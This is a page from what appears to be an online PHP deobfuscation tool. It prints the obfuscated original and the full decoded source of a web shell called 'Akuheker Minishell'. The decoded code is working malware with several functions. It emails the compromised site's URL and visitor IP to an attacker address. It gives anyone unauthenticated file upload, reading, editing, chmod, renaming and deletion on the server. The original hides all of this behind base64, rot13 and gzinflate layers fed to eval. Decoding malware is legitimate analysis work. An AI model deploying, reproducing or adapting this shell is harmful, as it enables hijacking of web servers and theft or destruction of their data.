Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set('output_buffering', 0); @ini_set('display_errors', 0); set_time_limit(0)..
Decoded Output download
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$boss = '[email protected]';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($boss, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<center><font color="red" face="Iceland"><font color="#47FF0F" face="Ubuntu"></font></footer></tr></table>
</style>
<link href="https://fonts.googleapis.com/css?family=Iceland" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?fsmily=Ubuntu" rel="stylesheet"/>
<title>{ Akuheker Minishell }</title>
<style>
body {
background-color: #000000;
font-family: Ubuntu;
background-color: #000000;
text-shadow:0px 0px 1px #ffffff;
}
#content tr:hover{
background-color: #ffffff;
text-shadow:0px 0px 10px ##339900;
}
#content .first{
background-color: #000000;
}
#content .first:hover{
background-color: #ffffff;
text-shadow:0px 0px 1px #339900;
}
table{
border: 1px #ffffff dotted;
}
H1{
font-family: Ubuntu;
}
a{
color: #ffffff;
text-decoration: none;
}
a:hover{
color: white;
text-shadow:0px 0px 10px #339900;
}
input,select,textarea{
border: 1px #ffffff solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<font face="Iceland" size="7" color="snow">{ Akuheker Minishell }</font><br>
<font face="Iceland" size="3" color="snow">[email protected]</font><br><br>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Path >> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Berhasil Ajg !!</font><br />';
}else{
echo '<font color="red">Upload Gagal Ngntd !!</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload >> <input type="file" name="file" />
<input type="submit" value="Upload Bangsat!" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>files >> ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="white">Change Permission Berhasil Ajg !!</font><br />';
}else{
echo '<font color="red">Change Permission Gagal Ngntd !!</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="white">Change Name Berhasil Ajg !!</font><br />';
}else{
echo '<font color="red">Change Name Gagal Ngntd !!</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="3" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="white">Edit Berhasil Ajg !!</font><br />';
}else{
echo '<font color="red">Edit Gagal Ngntd !!</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="white">Delete Berhasil !!</font><br />';
}else{
echo '<font color="red">Delete Gagal !!</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="white">Delete File Berhasil !!</font><br />';
}else{
echo '<font color="red">Delete File Gagal !!</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="white">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="white">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"Action\">Action</option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
Did this file decode correctly?
Original Code
<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
error_reporting(0);
$fadly31337 = 'zUz7Ztu4Ef49M/kfYE0NpZ4kyo8mPtlHGqd+tGbjxGUu08TKdVWWgCL7YBKSY6Zl+d+7C4ASKESyzue51nCbj1182AW+fUCSgexGwaruR1nD+LafyalxYZ24L/c/u7XD588mgqcirrrvw4CJgDXOYSPRJlncMGLCptkhViY8BgT//OyqZKCGR+5PV4lC3CkfBHAeZBnc8+kgk5zh39/HRi6zcxJBXUe+6VScWkDdmTAWtT3PIVpF6Z9pQv7ZPblp9bX/5uJm1/1FkJxn/2TePT3rn598Z78gRSQoD/o8EzFQuJG8ITltOyJ//fiWXKR2LMC2NrkmzgLY5+OzYf/i8vJRWuOQLw5goqVI5UKdOJ+OP3zonjhob88E7zfBwmiRo+pLsP6Uj3LS/88gcYL2x0RFrdW+PX82CnDBk1a10n97fG1TOCWVe2TraipfbDYQqKEl1/j6C/hUTCwjmmQ6EbR3tGCS7+pKJJOQuFRbl8fvz35t2yU/n33+1Gz+7HVp7V5c4jWBLRVk53UEu1iSMAtw34lS6pARQoTvfFlRxoPUKSp577+6undd5VfnaoOADUDHUCVoCRWox9Q/fpcJnMuj7EnfckAIM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ji0rOMT1Eh63bKywqnvT4tPPr+zK1Wuq64g/fc7RhrW5h1mLvctW4vhoF6tyFBBRkK2NgbXpKN8FR+fj9YgrFhVbdhQhq1ZVguzzmbS/zgjXSgYEOmb/5fstKCJLWFCnwieIIfhXjwiiXo4rDyLrRj8BHbM+lMPurJvW48v8w/wPfVyo1ddg0B6tm74LHhI1LPJVLZZlUE5ItWqRGxOTTfvW61JWn3QemEBwfPIdpjcCwZgMhiF+K0zSBYRHZJSiIs5xIUNZDu9CzOZkELQUFtV2XekgznSgYVnIsaDjMcWU3A1xss5xlgL410GHhFmGrSQ7kkj7c+R9i2kWBkDW8P41k9WSqPszkRpLZT3YyCF4BdkiVrJd7SdOdqOhWn18eqYUTISFlc0VDFN58F9EA4DWHQwqxQgPh4Gb7bIWr84ZHgHdHta3NgletwA9Z1YuXfrQKsON0PdVNXnz4piD8xcRwHcuKRT2qtnQfNWNL/Bjw9DNKPVM+5h7sfO5n60Dlf82N/Aj/2VfvwrjLNnzYz7G/vR2t3cj50SP2mNjXmNH7nOTNGPS7BOHBA1HWXtvw==';
eval(str_rot13(gzinflate(str_rot13(base64_decode(($fadly31337))))));
Function Calls
ini_set | 2 |
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
set_time_limit | 1 |
error_reporting | 1 |
Stats
MD5 | 800f4f7adfe9585b09a4a0525b97fef8 |
Eval Count | 1 |
Decode Time | 99 ms |